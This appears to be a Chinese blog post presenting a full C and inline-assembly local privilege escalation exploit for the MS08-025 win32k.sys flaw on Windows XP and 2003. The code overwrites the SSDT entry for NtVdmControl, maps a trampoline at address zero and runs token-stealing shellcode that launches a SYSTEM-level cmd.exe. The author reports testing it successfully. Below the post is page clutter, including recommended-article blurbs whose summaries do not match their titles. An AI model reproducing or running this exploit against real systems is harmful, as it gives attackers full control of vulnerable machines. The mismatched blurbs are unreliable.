MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit2

王宇:NtVDM子系统拾趣 9月25日,SyScan360 2013国际前瞻信息安全会议在北京国家会议中心举行。360安全研究工程师王宇发表题为《NtVdm子系统拾趣》的演讲,针对Windows组件NtVdm子系统的安全性进行深入分析。 立即下载
MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit

另一种利用方式,通过覆盖SSDT表NtVdmControl的地址进行shellcode的执行



#include <stdio.h>

#include <windows.h>



typedef LONG NTSTATUS;

typedef NTSTATUS (NTAPI *PNTALLOCATE)(HANDLE               ProcessHandle,

                                       PVOID            *BaseAddress,

                                       ULONG                ZeroBits,

                                       PULONG           RegionSize,

                                       ULONG                AllocationType,

                                       ULONG                Protect );

typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);

void ErrorQuit(char *msg)

{

    printf("%s:%x/n", msg, GetLastError());

    ExitProcess(0);

}

ZWVDMCONTROL    ZwVdmControl=NULL;

OSVERSIONINFOEX OsVersionInfo;



_declspec(naked) int ShellCode()

{



      if ( OsVersionInfo.dwMinorVersion == 1 ) {



       __asm {



               nop

               nop

               nop

               nop

               nop

               nop



               mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)

               Mov eax,[eax]



               mov esi,[eax+0x220]

               mov eax,esi



searchXp:



               mov eax,[eax+0x88]

               sub eax,0x88

               mov edx,[eax+0x84]

               cmp edx,0x4 // Find System Process

               jne searchXp



               mov eax,[eax+0xc8] // 获取system进程的token

               mov [esi+0xc8],eax // 修改当前进程的token



               ret 8



       }

   }

   if ( OsVersionInfo.dwMinorVersion == 2 ) {



       __asm {



           nop

               nop

               nop

               nop

               nop

               nop



               mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)

               Mov eax,[eax]



               mov esi,[eax+0x220]

               mov eax,esi



search2003:



               mov eax,[eax+0x98]

               sub eax,0x98

               mov edx,[eax+0x94]

                cmp edx,0x4 // Find System Process

               jne search2003



               mov eax,[eax+0xd8] // 获取system进程的token

               mov [esi+0xd8],eax // 修改当前进程的token

               ret 8



       }

   }





}



void InitTrampoline()

{



   PNTALLOCATE NtAllocateVirtualMemory;

   LPVOID       addr = (LPVOID)3;

   DWORD       dwShellSize=0x1000;

   unsigned char trampoline[]="/x68/x00/x00/x00/x00" //push 0x0

                               "/xc3";               // retn



   NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");



   if( !NtAllocateVirtualMemory )

       exit(0);



   NtAllocateVirtualMemory(   (HANDLE)-1,

                               &addr,

                               0,

                               &dwShellSize,

                               MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,

                               PAGE_EXECUTE_READWRITE );



   if( (PULONG)addr )

   {

       printf("/n[++] Error Allocating memory/n");

       exit(0);

   }





   *(PULONG*)(trampoline+1)=(PULONG)ShellCode;

   memcpy(NULL,trampoline,sizeof(trampoline)-1);

}

int Callback_Overview()

{

   printf("/n");

   printf("=====================================================================   /n");

   printf("/t/tMicrosoft Windows XP SP2 - MS08-025 -       /n");

   printf("/twin32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit   /n");

   printf("=====================================================================   /n");

   printf("+ References:/n");

   printf(" http://www.microsoft.com/technet/security/bulletin/ms08-025.mspx/n");

   printf(" http://hi.baidu.com/vessial/n/n");

   return 1;

}



void GetFunction()

{

    HANDLE    hNtdll,hNtos;

   

    hNtdll = LoadLibrary("ntdll.dll");

    if(hNtdll == NULL)

        ErrorQuit("LoadLibrary failed./n");

       

    ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");

    if(ZwVdmControl == NULL)

        ErrorQuit("GetProcAddress failed./n");

              

    FreeLibrary(hNtdll);

}

int main(int argc, char **argv)

{



   //PULONG   PntVdmControl=0x805F0DB0;

PULONG   PntVdmControl=0x80502460; //通过*(PULONG)(KeServiceDescriptorTalbe)+0x10c*4获得

   

    

   STARTUPINFOA                stStartup;

   PROCESS_INFORMATION            pi;





   Callback_Overview();

   GetFunction();

   RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );

   OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);

   GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);



   if ( OsVersionInfo.dwMajorVersion != 5 ) {



       printf( "Not NT5 system/n" );

       ExitProcess( 0 );

   }

   //Get Operatiny System Version

       

   InitTrampoline();



   SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, (char*)PntVdmControl );

   SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, (char*)PntVdmControl+2);//覆盖NtVdmControl所在的SSDT表,覆盖后结果为0x0

   printf("/n[+] Executing Shellcode.../n");



   ZwVdmControl(0, NULL);//这里就是call 0x0了,跳转执行我们的shellcode,哈哈:)

   GetStartupInfo( &stStartup );



   CreateProcess( NULL,

       "cmd.exe",

       NULL,

       NULL,

       TRUE,

       NULL,

       NULL,

       NULL,

       &stStartup,

       &pi );   //此时创建的cmd.exe是SYSTEM权限



  

   printf("[+] Exiting.../n");



   return TRUE;

}

我在XP测试成功,下面的第一个cmd是SYSTEM权限,这是我们提权后的,一个cmd是test权限
政府科技管理者如何精准识别符合本地产业需求的重点科技成果?.docx 政府科技管理者如何精准识别符合本地产业需求的重点科技成果? 立即下载

相关推荐

高校技术转移办公室如何高效对接企业技术需求?.docx

高校技术转移办公室如何高效对接企业技术需求?

普通恶意代码技术分析与检测

创建时间:2008-03-07文章属性:原创文章提交:fleshwound (fleshwound_at_126.com)fleshwound(fleshwound@smatrix.org)http://www.smatrix.org1 引言  近些年来,恶意代码依赖一些特殊的Native API函数和内核系统函数进行感染、传播、隐藏的这种趋势愈加明显代码,并大量的使用了多重加密壳、驱动关联壳、变...

weixin_30279315的博客 453

【扩展卡尔曼滤波器EKF】基于UWB雷达的SLAM能够在室内环境内映射自然点地标,并改善机器人定位(Matlab代码实现)

内容概要:本文档提供了名为“Plecs全桥LLC谐振变换器仿真模型”的资源,主要用于电力电子领域中LLC谐振变换器的建模与仿真研究。该模型基于Plecs软件平台构建,聚焦于全桥LLC拓扑结构,涵盖其工作原理、关键参数设计及动态性能仿真,帮助用户深入理解LLC谐振变换器在软开关、高效率功率转换方面的特性与实现方法。文档内容包括系统建模、主电路参数计算、控制策略实现以及仿真结果分析等部分,适用于高频高效电源变换器的研发与教学实践。; 适合人群:具备电力电子与电力系统基础知识,从事电源变换器设计、仿真与优化工作的工程师及高校研究生。; 使用场景及目标:① 掌握LLC谐振变换器的工作机理与Plecs仿真建模流程;② 学习全桥LLC拓扑的参数设计与软开关实现方法;③ 为高频高效DC-DC变换器的科研、课程设计或工程项目提供仿真基础和技术参考。; 阅读建议:建议结合电力电子技术教材与Plecs官方文档同步学习,重点理解谐振腔参数(如Lr、Cr、Lm)对增益特性与软开关的影响,并通过调整仿真参数验证不同工况下的系统响应,以加深对LLC变换器设计规律的理解。

无驱动执行Ring0代码

<br />// 原理:通过/Device/PhysicalMemory修改NtVdmControl入口,跳转到Ring0Code<br /> //************************************************************************<br /> #include<br /> #include<br /> #include<br /><br /> #pragma comment (lib,"ntdll.lib") // Copy From

wowbell的专栏 1143

半桥LLC谐振DCDC变换器的设计与仿真(Simulink仿真实现)

内容概要:本文系统阐述了半桥LLC谐振DCDC变换器的设计与仿真方法,聚焦于其在Simulink环境下的建模、关键参数设计及闭环控制策略的实现。内容深入剖析了LLC谐振变换器的工作原理,包括谐振腔元件(Lr、Cr、Lm)的精确计算与优化方法,详细探讨了实现零电压开通(ZVS)等软开关技术的关键条件,并介绍了变频控制与恒压恒流双闭环控制逻辑的设计思路。通过构建完整的Simulink仿真模型,文章验证了系统在不同负载工况下的动态响应能力、高效率特性和良好的稳态性能,为理论分析提供了强有力的实践支撑。; 适合人群:具备电力电子技术基础理论知识和Simulink软件操作经验的电气工程、自动化及相关专业的本科高年级学生、研究生,以及从事开关电源、新能源变换器等电力电子设备研发的工程师。; 使用场景及目标:①深入理解LLC谐振变换器的核心工作机理与谐振参数的设计准则;②掌握在Simulink中搭建高保真度电力电子变换器仿真模型并实现复杂闭环控制的技术;③为高效率、高功率密度电源产品的研发提供理论指导、设计范例与仿真验证平台。; 阅读建议:建议读者结合文中的理论推导与仿真模型进行同步实践,重点动手调整谐振频率、观察ZVS实现过程,并反复调试PI控制器参数以优化系统的动态与稳态响应,从而深刻领悟LLC变换器的非线性动态特性和先进控制策略的精髓。

状态估计【卡尔曼滤波kalman】UKF、EKF、粒子滤波PF学习与研究(Matlab代码实现)

内容概要:本文系统性地探讨了状态估计领域中的三种关键非线性滤波算法——无迹卡尔曼滤波(UKF)、扩展卡尔曼滤波(EKF)和粒子滤波(PF),深入剖析其理论基础、数学推导及在非线性、非高斯系统环境下的适用性差异。通过Matlab编程实现,详尽展示了各算法的核心步骤与仿真流程,并结合无人机姿态估计、轨迹跟踪等典型应用场景进行性能对比分析,验证了不同滤波方法在精度、稳定性和计算复杂度方面的表现。文中提供完整的代码实例与技术解析,涵盖状态预测、协方差更新、观测修正等关键环节,强化了理论与实践的结合,具有较高的科研参考价值与工程指导意义。; 适合人群:具备信号处理、控制理论或状态估计基础知识的研究生、科研人员,以及从事导航、自动化、机器人、航空航天等相关领域的工程技术人员。; 使用场景及目标:① 深入理解UKF、EKF与PF的算法原理及其在非线性系统中的实现机制;② 在目标跟踪、多传感器融合、惯性导航等实际项目中开展算法选型、仿真验证与性能优化;③ 支持科研论文复现、算法改进及工程原型开发。; 阅读建议:建议结合Matlab代码同步运行与调试,重点理解各滤波器的状态更新逻辑与误差协方差传播机制,尝试在不同噪声水平与系统非线性程度下对比算法鲁棒性,以深化对滤波器内在特性的掌握。

在NT系列操作系统里让自己“消失”

创建时间:2004-03-06文章属性:原创文章提交:SoBeIt (kinsephi_at_hotmail.com)===================[ 在NT系列操作系统里让自己“消失”]==================                                               SoBeIt            作者:Holy_Father     

竹君子之家 1853

人工智能基于RAG与LangGraph的企业级客服系统优化:大模型推理加速与多Agent协同决策技术实现

内容概要:本文档是一份企业级AI项目面试总结,涵盖多家公司在大模型、RAG、LangGraph、Agent系统、知识图谱、NL2SQL等前沿技术方向的实操性问题与解答。重点包括RAG全流程优化(切分、存储、召回、推理、缓存)、大模型推理加速(vLLM、TensorRT-LLM、量化、PD分离)、Agent架构设计(状态管理、多智能体协作、记忆机制、安全控制)、LangGraph与LangChain的应用差异、AB测试与模型评估方法、以及在客服、问数、数字人等场景中的落地实践。同时涉及Python基础、系统设计、部署运维、国产化适配等综合能力考察。; 适合人群:具备1-3年工作经验,从事大模型应用开发、AI系统研发、NLP工程师等相关岗位的研发人员;熟悉Python、深度学习框架,有RAG、Agent或NL2SQL项目经验者更佳。; 使用场景及目标:①准备AI方向的技术面试,尤其是B2B企业、金融科技、智能客服、工业智能化领域的岗位;②深入理解RAG与Agent系统的工程实现细节,掌握性能优化、系统稳定性、安全性设计等关键技术点;③学习如何将理论模型应用于复杂业务场景,提升系统级设计与问题解决能力。; 阅读建议:此资源以真实面试问答形式呈现,建议结合自身项目经验对照学习,重点关注高频考点如vLLM原理、RAG优化策略、LangGraph状态机制、多Agent协作与回滚设计等内容,并动手实践相关技术点如FastAPI异步服务、Tracker状态持久化、分层chunk策略等,以达到融会贯通的效果。

MS08-025通过覆盖SSDT表进行执行shellcode

MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit另一种利用方式,通过覆盖SSDT表NtVdmControl的地址进行shellcode的执行#include #include typedef LONG NTSTATUS;typedef NTSTATUS (NTAPI *PNTALLOCATE)(HANDLE    

1095

高斯混合概率假设密度滤波器(GM-PHD)研究(Matlab代码实现)

内容概要:本文介绍了名为“Plecs全桥LLC谐振变换器仿真模型”的技术资源,该模型基于Plecs仿真平台构建,专门用于模拟和分析全桥LLC谐振变换器的工作特性。LLC谐振变换器作为一种高效率、高功率密度的DC-DC变换拓扑,广泛应用于现代电力电子电源系统中。该仿真模型完整集成了变换器的核心电路结构与控制逻辑,能够精确仿真在不同谐振参数、开关频率及负载条件下的系统动态响应,有效支持对软开关实现机制、电压增益特性、效率优化等关键技术问题的深入研究与分析。; 适合人群:电力电子、电气工程及其自动化等相关专业的高校师生、科研人员,以及从事开关电源、新能源变换器设计的工程技术人员。; 使用场景及目标:①用于课堂教学与实验设计,帮助学生掌握LLC谐振变换器的工作原理与仿真建模方法;②作为科研项目前期的理论验证工具,辅助研究人员进行参数优化与控制策略设计;③应用于企业产品研发,加速电源系统的设计迭代过程,提升产品性能与可靠性。; 阅读建议:使用者应具备扎实的电力电子电路基础知识与一定的仿真软件操作经验,建议结合经典电力电子教材与实际硬件测试,对比仿真结果与实验数据,以深化对LLC变换器运行机理的理解,并在此基础上开展创新性研究与优化设计。

【顶级EI复现】新扩展移相角下的双有源桥DC-DC 变换器优化控制策略(Simulink仿真实现)

内容概要:本文围绕“新扩展移相角下的双有源桥DC-DC变换器优化控制策略”展开,深入研究了在Simulink仿真环境中对该类变换器进行建模与控制优化的方法。通过引入新型扩展移相角(EPS)调制策略,系统在实现软开关、降低器件应力及提升功率传输效率方面表现出显著优势。文章详细阐述了控制策略的核心原理,包括EPS调制机制的设计、闭环控制系统架构的构建以及关键参数的优化整定,并通过系统的仿真实验验证了该方法在减少开关损耗、增强系统动态响应能力和运行稳定性方面的有效性。同时,文档完整呈现了Simulink仿真模型的搭建流程与仿真结果分析过程,体现了该技术在电力电子高频高效变换领域的先进性与工程应用价值。; 适合人群:具备一定电力电子技术与自动控制理论基础,从事新能源发电、电动汽车、微电网、工业电源等方向研究的研发工程师及高校研究生。; 使用场景及目标:①深入理解双有源桥(DAB)变换器的工作机理与建模范式;②掌握基于Simulink的高级电力电子系统建模与控制策略开发技能;③服务于高水平科研项目复现、学位论文撰写或实际工程原型开发,全面提升对复杂电力电子系统优化控制策略的设计与实践能力。; 阅读建议:建议结合文中提供的Simulink仿真模型与配套资源,边操作边学习,重点关注控制策略的实现逻辑、调制波形生成方式及参数调节对系统性能的影响,同时可参考“荔枝科研社”发布的系列相关资源以深化知识体系与技术应用能力。

MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit

MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit另一种利用方式,通过覆盖SSDT表NtVdmControl的地址进行shellcode的执行#include #include typedef LONG NTSTATUS; typedef NTSTATUS (NTAPI *PNTALLOCATE)(HANDLE   

1847

改进-基于新扩展移相角下的双有源桥DAB变换器仿真(EPS调制、软开关、最小应力优化)(Simulink仿真实现)

内容概要:本文提出一种基于新扩展移相角控制策略的双有源桥(DAB)直流变换器仿真模型,重点实现了EPS调制方式下的软开关技术与最小应力优化控制。通过Simulink平台构建系统仿真模型,深入优化DAB变换器在双向能量传输过程中的效率与可靠性,有效降低开关器件的电压和电流应力,提升整体系统性能。该方法结合先进控制算法,实现了对功率流动的精确调控,具有良好的动态响应特性与稳态精度,适用于高频隔离、高效率要求的电力电子应用场景,如新能源并网、电动汽车充放电系统及储能系统等。; 适合人群:电力电子、电气工程及其自动化等相关专业的研究生、科研人员以及从事电力变换系统开发的工程师。; 使用场景及目标:①研究DAB变换器在不同负载与输入条件下的软开关实现机制与零电压切换特性;②优化变换器的开关损耗与器件应力分布,提升系统效率与可靠性;③掌握基于Simulink的高级移相控制策略建模与仿真方法,服务于高水平科研项目或实际工程设计。; 阅读建议:建议结合文中所述EPS调制原理与扩展移相角控制逻辑,深入理解其对软开关实现与应力最小化的耦合影响,配合仿真模型进行参数扫描、波形观测与性能对比分析,以全面掌握DAB变换器的动态行为与控制规律。

NtDLL的API

转帖From:郁金香的csdn博客http://blog.csdn.net/kkksi13996362600/archive/2009/03/05/3959312.aspx   1. 内容 2. 介绍 3. 文件 3.1 NtQueryDirectoryFile 3.2 NtVdmControl 4. 进程 5. 注册表 5.1 NtEnumerateKey 5.2 NtEnu...

伤了 907

CloudCompare横截面工具实战:从点云切片到轮廓提取的完整流程

本文详细介绍了CloudCompare软件中Cross Section工具的核心功能与实战流程。从交互式裁剪框的精准操控,到包络线提取的参数设置与优化,再到内部轮廓提取及批量处理技巧,完整解析了如何从三维点云中高效提取建筑立面、隧道断面等关键轮廓信息,是点云数据处理与分析的实用指南。

weixin_29290963的博客 284

若依开源框架(分离版)在人大金仓数据库下使用

对于甲方业务特殊要求,使用国产化数据库人大金仓,作为项目主要存储。这里以若依开源框架整合人大金仓为例,演示如何在真实项目中引入人大金仓。

🐱喵测实验室 5942

微信小程序四六级词汇管理系统开发实践

词汇管理系统是语言学习中的关键技术,其核心原理是通过算法优化记忆效率。基于艾宾浩斯遗忘曲线的智能推送算法能有效提升单词记忆留存率,结合微信小程序的云开发能力实现轻量化部署。在工程实践中,采用分级存储架构(热/温/冷数据分离)和NLP技术(TF-IDF+Word2Vec)解决了数据同步与真题关联的难题。这类系统特别适合大学生碎片化学习场景,本案例通过微信原生组件优化和Spring Boot后端设计,日均承载10万请求的同时保持接口响应<200ms。系统还创新性地融入社交化学习功能,验证了技术方案在真实用户行为

weixin_33889665的博客 447

linux和mac安装+配置circos(

一定要下载完这两个包,GD才会work,要不然会报错,且-modules显示也是fail。官网的教程说的很明白,但是很多包都已经过时了需要在网上找。一般来讲,所有包的安装都不会太困难,除了GD。1.是因为官网给的链接下出来的tgz无法解压。2.我的电脑安装后GD照样是fail的。,进入这个地址下一个.tgz。第二点的原因在于,官网的情况。,进入这个地址,按部就班。GD安装困难有以下几点。搞了一天终于配置成功。

xiufan1的博客 549
上一篇: MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit
下一篇: MS08-011 Microsoft Works 文件转换器中的漏洞分析
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值